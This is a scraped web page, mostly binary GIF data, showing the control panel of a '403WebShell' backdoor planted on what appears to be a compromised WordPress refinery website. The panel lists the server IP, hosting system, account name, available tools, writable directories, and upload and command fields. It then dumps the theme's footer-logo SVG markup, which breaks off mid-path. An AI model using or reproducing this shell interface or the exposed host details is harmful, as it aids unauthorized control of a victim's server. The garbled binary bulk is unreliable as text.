GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 104.21.83.152  /  Your IP : 216.73.216.82
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhalid/shabwahrefinery.com/wp-content/themes/refinery-theme/images/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhalid/shabwahrefinery.com/wp-content/themes/refinery-theme/images/footer-logo.svg
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 27.1.1, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 viewBox="0 0 841.9 595.3" style="enable-background:new 0 0 841.9 595.3;" xml:space="preserve">
<style type="text/css">
	.st0{fill:#4AB348;}
	.st1{fill:url(#SVGID_1_);}
	.st2{fill:url(#SVGID_00000054268252666802787580000000240201762545489851_);}
	.st3{display:none;fill:url(#SVGID_00000040533537161308905980000012603659366009737613_);}
	.st4{fill:url(#SVGID_00000035529833154143264100000002122903479678695859_);}
	.st5{fill:url(#SVGID_00000095338134381639469700000002402227214114902707_);}
	.st6{fill:url(#SVGID_00000167355093225599580270000014595026302742577085_);}
	.st7{fill:url(#SVGID_00000128454597483599893370000011798592536498835363_);}
	.st8{fill:#D4D8DB;}
	.st9{fill:#9AA0A6;}
	.st10{clip-path:url(#SVGID_00000054959471974179732500000004685406601070112696_);fill:#9AA0A6;}
	.st11{fill:#4489C8;}
	.st12{fill:url(#SVGID_00000170238576549128298370000001221502110925300367_);}
	.st13{fill:#60BB46;}
	.st14{display:none;fill:#FEE344;}
	.st15{display:none;}
	.st16{display:inline;}
	.st17{fill:#FEE344;}
	.st18{fill:#D1D3D6;}
</style>
<g>
	<path class="st0" d="M403.3,401.7c-24,0-47.2-4.7-69.1-13.9c-21.1-8.9-40.1-21.7-56.4-38c-16.3-16.3-29.1-35.3-38-56.4
		c-9.3-21.9-13.9-45.1-13.9-69.1c0-24,4.7-47.2,13.9-69.1c8.9-21.1,21.7-40.1,38-56.4c16.3-16.3,35.3-29.1,56.4-38
		c21.9-9.3,45.1-13.9,69.1-13.9s47.2,4.7,69.1,13.9c21.1,8.9,40.1,21.7,56.4,38c16.3,16.3,29.1,35.3,38,56.4
		c9.3,21.9,13.9,45.1,13.9,69.1c0,24-4.7,47.2-13.9,69.1c-8.9,21.1-21.7,40.1-38,56.4c-16.3,16.3-35.3,29.1-56.4,38
		C450.5,397,427.3,401.7,403.3,401.7z M403.3,49.6c-96.3,0-174.6,78.3-174.6,174.6S307,398.8,403.3,398.8s174.6-78.3,174.6-174.6
		S499.6,49.6,403.3,49.6z"/>
	<path class="st0" d="M551,217.1c-0.7,0-1.4-0.6-1.4-1.3c-1.5-26-9.9-51.1-24.3-72.7c-0.4-0.7-0.3-1.5,0.4-2c0.7-0.4,1.5-0.3,2,0.4
		c14.7,22,23.3,47.7,24.8,74.2C552.4,216.4,551.8,217.1,551,217.1C551,217.1,551,217.1,551,217.1z"/>
	<path class="st0" d="M526,308.3c-0.3,0-0.5-0.1-0.8-0.2c-0.6-0.4-0.8-1.3-0.4-2c14.6-21.7,23.2-46.9,24.7-73c0-0.8,0.7-1.4,1.5-1.3
		c0.8,0,1.4,0.7,1.3,1.5c-1.6,26.6-10.3,52.4-25.2,74.4C526.9,308.1,526.4,308.3,526,308.3z"/>
	<path class="st0" d="M256,217.1C256,217.1,256,217.1,256,217.1c-0.9,0-1.5-0.7-1.4-1.5c1.5-26.5,10.1-52.1,24.8-74.2
		c0.4-0.7,1.3-0.8,2-0.4c0.7,0.4,0.8,1.3,0.4,2c-14.4,21.6-22.8,46.8-24.3,72.7C257.4,216.5,256.8,217.1,256,217.1z"/>
	<path class="st0" d="M281.1,308.3c-0.5,0-0.9-0.2-1.2-0.6c-14.9-22.1-23.6-47.8-25.2-74.4c0-0.8,0.5-1.5,1.3-1.5
		c0.8,0,1.5,0.5,1.5,1.3c1.6,26.1,10.1,51.4,24.7,73c0.4,0.6,0.3,1.5-0.4,2C281.6,308.2,281.3,308.3,281.1,308.3z"/>
	<g>
		<g>
			<path class="st0" d="M290.2,324c-0.4-0.5-0.8-0.9-1.1-1.3c-0.3-0.4-0.7-0.8-1.1-1.3c-0.4-0.5-0.7-1-0.9-1.5
				c-0.2-0.5-0.2-1-0.2-1.6c0-0.5,0.5-1.6,0.5-1.6c0-0.1-1-0.1-1.5-0.4c-0.5-0.3-1-0.8-1.5-1.5c-0.4-0.6-0.7-1.2-0.9-1.8
				c-0.2-0.6-0.2-1.2,0-1.8c0.1-0.6,0.4-1.2,0.7-1.7c0.4-0.5,0.8-1,1.4-1.4c0.6-0.5,1.3-0.8,1.9-1c0.6-0.2,1.2-0.3,1.8-0.2
				c0.6,0.1,1.2,0.2,1.7,0.6c0.5,0.3,1.3,1.3,1.5,1.3c0,0,0.1,0.2,0.4,0.5c0.3,0.3,0.7,0.9,1.2,1.5s1.3,1.5,2.1,2.5
				c-0.7,0.6-1.2,1-1.7,1.5c-0.5,0.4-1,0.9-1.5,1.3c-0.5,0.4-1.1,0.9-1.7,1.5c-0.5,0.4-0.8,0.9-0.8,1.5c0,0.5,0.2,1.1,0.8,1.7
				c0.4,0.5,0.7,0.8,1.1,1.3c-0.4,0.4-0.7,0.7-1,0.9C291,323.4,290.7,323.6,290.2,324z M294.4,308.1c-0.3-0.4-0.6-0.7-0.8-1.1
				c-0.3-0.3-0.5-0.6-0.8-1.1c0.4-0.3,0.7-0.5,1-0.7c0.3-0.2,0.6-0.4,1-0.7c0.3,0.4,0.6,0.7,0.8,1.1s0.5,0.6,0.8,1.1
				c-0.4,0.3-0.7,0.5-0.9,0.7C295.1,307.6,294.8,307.8,294.4,308.1z M290.4,314c0.4-0.3,0.7-0.6,1.1-0.9c0.3-0.3,0.6-0.5,1.1-0.9
				c-0.5-0.6-0.8-1-1.3-1.6c-0.4-0.5-1-0.7-1.7-0.7c-0.7,0-1.4,0.3-2,0.7c-0.6,0.4-1,1-1.1,1.6c-0.1,0.6,0,1.2,0.4,1.8
				c0.4,0.5,1,0.8,1.6,0.8C289.1,314.8,289.8,314.6,290.4,314z M297,311.3c-0.3-0.4-0.6-0.7-0.9-1c-0.3-0.3-0.5-0.6-0.9-1
				c0.4-0.3,0.7-0.5,0.9-0.8c0.3-0.2,0.6-0.5,0.9-0.8c0.3,0.4,0.6,0.7,0.8,1c0.3,0.3,0.5,0.6,0.9,1c-0.4,0.3-0.6,0.5-0.9,0.8
				C297.7,310.7,297.4,311,297,311.3z"/>
			<path class="st0" d="M297.1,331.3c-0.6-0.6-1.1-1.1-1.6-1.6c-0.5-0.5-1-1-1.4-1.5c-0.4-0.5-0.9-0.9-1.3-1.4
				c-0.4-0.5-0.9-1-1.4-1.5c-0.5-0.5-1-1.1-1.6-1.8c0.4-0.4,0.7-0.7,1-0.9c0.3-0.3,0.6-0.6,1-0.9c0.6,0.6,0.9,1,1.4,1.6
				c0.4,0.4,0.8,0.6,1.2,0.6s0.9-0.3,1.4-0.7c0.5-0.5,0.9-0.8,1.3-1.2c0.4-0.4,0.8-0.7,1.3-1.2c0.4,0.5,0.8,0.8,1.1,1.1
				c0.3,0.3,0.7,0.7,1.1,1.1c-0.5,0.5-0.8,0.8-1.2,1.2c-0.4,0.4-0.7,0.7-1.2,1.2c-0.5,0.6-1.1,0.9-1.8,1.2c0.5,0.5,0.9,1,1.3,1.4
				c0.4,0.4,0.8,0.8,1.3,1.3c-0.4,0.4-0.7,0.7-1,1C297.8,330.6,297.5,330.9,297.1,331.3z M301.5,322.1c-0.5-0.5-1-1-1.4-1.4
				c-0.4-0.4-0.8-0.8-1.2-1.3c-0.4-0.4-0.8-0.9-1.4-1.5c0.5-0.4,0.7-0.6,1.1-1c0.3,0.4,0.5,0.6,0.8,0.9c0.1-0.3,0.3-0.5,0.5-0.7
				c0.5-0.5,1.1-0.7,1.7-0.7c0.6,0,1.2,0.3,1.7,0.8c0.3,0.3,0.5,0.7,0.6,1.1c0.1,0.4,0,0.9-0.2,1.3c-0.6-0.2-0.9-0.3-1.5-0.6
				c0.2-0.4,0.2-0.7,0-0.9c-0.3-0.4-0.7-0.3-1.2,0.1c-0.3,0.3-0.4,0.6-0.3,0.9c0.3,0.4,0.6,0.6,0.8,0.9c0.3,0.3,0.5,0.5,0.9,0.9
				C302.1,321.5,301.9,321.7,301.5,322.1z"/>
			<path class="st0" d="M296.2,335.2c-0.4-0.4-0.7-0.7-1.1-1c-0.3-0.3-0.6-0.6-1.1-1.1c0.3-0.4,0.6-0.6,0.8-0.9
				c0.3-0.3,0.5-0.5,0.8-0.9c0.4,0.4,0.7,0.7,1,1c0.3,0.3,0.6,0.6,1.1,1c-0.3,0.4-0.6,0.6-0.8,0.9
				C296.7,334.6,296.5,334.9,296.2,335.2z M304.6,338.1c-0.6-0.5-1.2-1-1.7-1.5c-0.5-0.5-1-0.9-1.5-1.3c-0.5-0.4-0.9-0.9-1.4-1.3
				c-0.5-0.4-0.9-0.9-1.5-1.4c-0.5-0.5-1.1-1-1.7-1.6c0.4-0.4,0.7-0.7,1-1c0.3-0.3,0.6-0.6,1-1c0.6,0.6,0.9,0.9,1.5,1.5
				c0.4,0.4,0.8,0.5,1.2,0.5s0.9-0.4,1.3-0.9c0.6-0.7,1.1-1.2,1.6-1.7c0.5-0.5,1-1,1.6-1.7c0.5,0.4,0.8,0.7,1.1,1
				c0.3,0.3,0.7,0.6,1.1,1c-0.6,0.7-1.1,1.2-1.5,1.7c-0.5,0.5-0.9,1-1.5,1.7c-0.5,0.6-1.1,1-1.7,1.4c0.6,0.5,1,0.9,1.4,1.2
				c0.4,0.4,0.8,0.7,1.4,1.2c-0.4,0.4-0.6,0.8-0.9,1.1C305.2,337.4,304.9,337.7,304.6,338.1z M299.4,338.3c-0.4-0.4-0.8-0.7-1.1-1
				c-0.3-0.3-0.7-0.6-1.1-1c0.3-0.4,0.6-0.6,0.8-0.9c0.2-0.3,0.5-0.5,0.8-0.9c0.4,0.4,0.7,0.7,1.1,1s0.6,0.6,1.1,1
				c-0.3,0.4-0.6,0.6-0.8,0.9C300,337.7,299.8,337.9,299.4,338.3z"/>
			<path class="st0" d="M312.3,344.3c-0.7-0.5-1.3-1-1.8-1.4c-0.6-0.4-1.1-0.8-1.6-1.2c-0.5-0.4-1-0.8-1.5-1.2
				c-0.5-0.4-1-0.8-1.5-1.3c-0.5-0.5-1.1-0.9-1.7-1.5c0.4-0.4,0.6-0.8,0.9-1.1c0.3-0.3,0.5-0.7,0.9-1.1c0.6,0.5,1,0.8,1.6,1.4
				c0.4,0.3,0.8,0.5,1.2,0.4c0.4-0.1,0.8-0.4,1.3-0.9c0.4-0.5,0.7-0.9,1-1.3c0.3-0.4,0.6-0.7,0.9-1.1c0.3-0.4,0.6-0.8,1-1.3
				c0.5,0.4,0.8,0.7,1.2,1s0.7,0.6,1.2,0.9c-0.6,0.7-1,1.3-1.4,1.9c-0.4,0.6-0.8,1.1-1.4,1.9c-0.5,0.6-1,1.1-1.6,1.5
				c0.6,0.5,1,0.8,1.5,1.1c0.4,0.3,0.9,0.7,1.5,1.1c-0.3,0.5-0.6,0.8-0.8,1.2S312.6,343.9,312.3,344.3z M307.2,344.9
				c-0.5-0.4-0.8-0.6-1.1-0.9c-0.3-0.3-0.7-0.6-1.1-0.9c0.3-0.4,0.5-0.7,0.8-1c0.2-0.3,0.5-0.6,0.8-1c0.4,0.4,0.8,0.6,1.1,0.9
				c0.3,0.3,0.7,0.5,1.1,0.9c-0.3,0.4-0.5,0.7-0.7,1C307.7,344.2,307.5,344.5,307.2,344.9z"/>
			<path class="st0" d="M319.6,344.5c-0.3,0.5-0.7,0.9-1.1,1.2s-0.8,0.5-1.3,0.6c-0.5,0.1-1.1,0.2-1.6,0c-0.5-0.1-1.1-0.4-1.6-0.8
				c-0.5-0.4-0.9-0.6-1.2-0.9c-0.4-0.3-0.7-0.5-1.2-0.9c0.3-0.5,0.6-0.8,0.8-1.2c0.3-0.3,0.5-0.7,0.8-1.2c0.7,0.6,1.1,0.8,1.9,1.4
				c0.4,0.3,0.8,0.4,1.3,0.3c0.4-0.1,0.8-0.5,1.2-1.1c0.5-0.7,0.9-1.4,1.3-2c0.4-0.6,0.8-1.1,1.2-1.7c0.4-0.5,0.7-1.1,1.2-1.7
				c0.4-0.6,0.8-1.2,1.3-2c0.5,0.3,0.8,0.6,1.2,0.8c0.4,0.2,0.7,0.5,1.2,0.8c-0.4,0.7-0.8,1.2-1.2,1.8s-0.7,1.1-1,1.5
				c-0.3,0.5-0.6,1-1,1.5c-0.3,0.5-0.7,1-1,1.5S320,343.8,319.6,344.5z"/>
			<path class="st0" d="M321.9,351c-0.5-0.3-0.9-0.6-1.3-0.9c-0.4-0.3-0.8-0.5-1.3-0.9c0.5-0.8,0.9-1.5,1.4-2.2
				c0.4-0.7,0.8-1.3,1.2-1.9c0.4-0.6,0.8-1.2,1.1-1.8s0.7-1.2,1.1-1.8c0.4-0.6,0.8-1.2,1.2-1.9c0.4-0.7,0.9-1.4,1.4-2.2
				c0.5,0.3,0.8,0.5,1.2,0.8c0.4,0.2,0.7,0.5,1.2,0.8c-0.5,0.8-0.9,1.5-1.3,2.2c-0.4,0.7-0.8,1.3-1.2,1.9c-0.4,0.6-0.7,1.2-1.1,1.8
				c-0.4,0.6-0.7,1.2-1.1,1.8c-0.4,0.6-0.8,1.3-1.2,1.9C322.8,349.5,322.4,350.2,321.9,351z"/>
			<path class="st0" d="M345.1,363c-0.1,0-0.1,0-0.1-0.1c-0.8-0.3-1.5-0.8-2.1-1.2s-1.2-1.6-1.2-1.6c-0.1,0-0.8,0.9-1.3,1.2
				c-0.5,0.3-1,0.6-1.6,0.8c-0.6,0.2-1.2,0.3-1.9,0.3s-1.3-0.1-2-0.2s-1.4-0.4-2-0.8c-0.7-0.3-1.3-0.8-1.9-1.2s-1-1-1.4-1.6
				c-0.4-0.6-0.7-1.2-0.9-1.8c-0.2-0.6-0.4-1.3-0.4-1.9c0-0.7,0-1.3,0.1-2c0.1-0.7,0.4-1.3,0.7-1.9c0.2-0.5,0.4-0.8,0.6-1.1
				c0.2-0.3,0.4-0.7,0.6-1.1c0.5,0.3,0.9,0.5,1.3,0.7c0.4,0.2,0.8,0.4,1.3,0.7c-0.4,0.8-0.6,1.2-1.1,2.1c-0.3,0.6-0.5,1.3-0.6,1.9
				c-0.1,0.6,0,1.2,0.1,1.8c0.2,0.6,0.5,1.1,0.9,1.6c0.4,0.5,1,0.9,1.7,1.3c0.7,0.4,1.5,0.6,2.3,0.6c0.8,0,1.5-0.1,2.1-0.4
				c0.6-0.3,1.1-0.8,1.3-1.4c0.2-0.5,0.2-1.1,0-1.5c-0.2-0.5-0.6-0.9-1.1-1.1c-0.2-0.1-0.3-0.1-0.5-0.2c0.2-0.5,0.4-0.9,0.6-1.2
				c0.2-0.4,0.3-0.7,0.6-1.2c0,0,0.4,0.2,1.2,0.5c0.6,0.3,1.2,0.7,1.7,1.1c0.5,0.5,0.8,1,1.1,1.6c0.3,0.6,0.4,1.3,0.5,2.1
				c0.1,0.6,0.2,1,0.5,1.4c0.3,0.4,0.8,0.6,1.4,0.9c0.2,0.1,0.3,0.1,0.4,0.2c-0.2,0.6-0.4,1-0.5,1.4
				C345.5,362,345.4,362.4,345.1,363z"/>
			<path class="st0" d="M354.2,366.3c-0.8-0.3-1.5-0.5-2.1-0.7c-0.6-0.2-1.2-0.4-1.8-0.6s-1.1-0.4-1.7-0.6c-0.6-0.2-1.2-0.4-1.8-0.7
				c-0.6-0.2-1.3-0.5-2.1-0.8c0.2-0.6,0.4-1,0.5-1.4c0.2-0.4,0.3-0.8,0.5-1.4c0.8,0.3,1.2,0.5,1.9,0.8c0.5,0.2,0.9,0.2,1.3-0.1
				c0.4-0.2,0.7-0.7,0.9-1.4c0.3-0.9,0.6-1.6,0.8-2.3c0.2-0.7,0.5-1.3,0.7-2c0.2-0.6,0.5-1.3,0.7-2c0.2-0.7,0.5-1.5,0.8-2.3
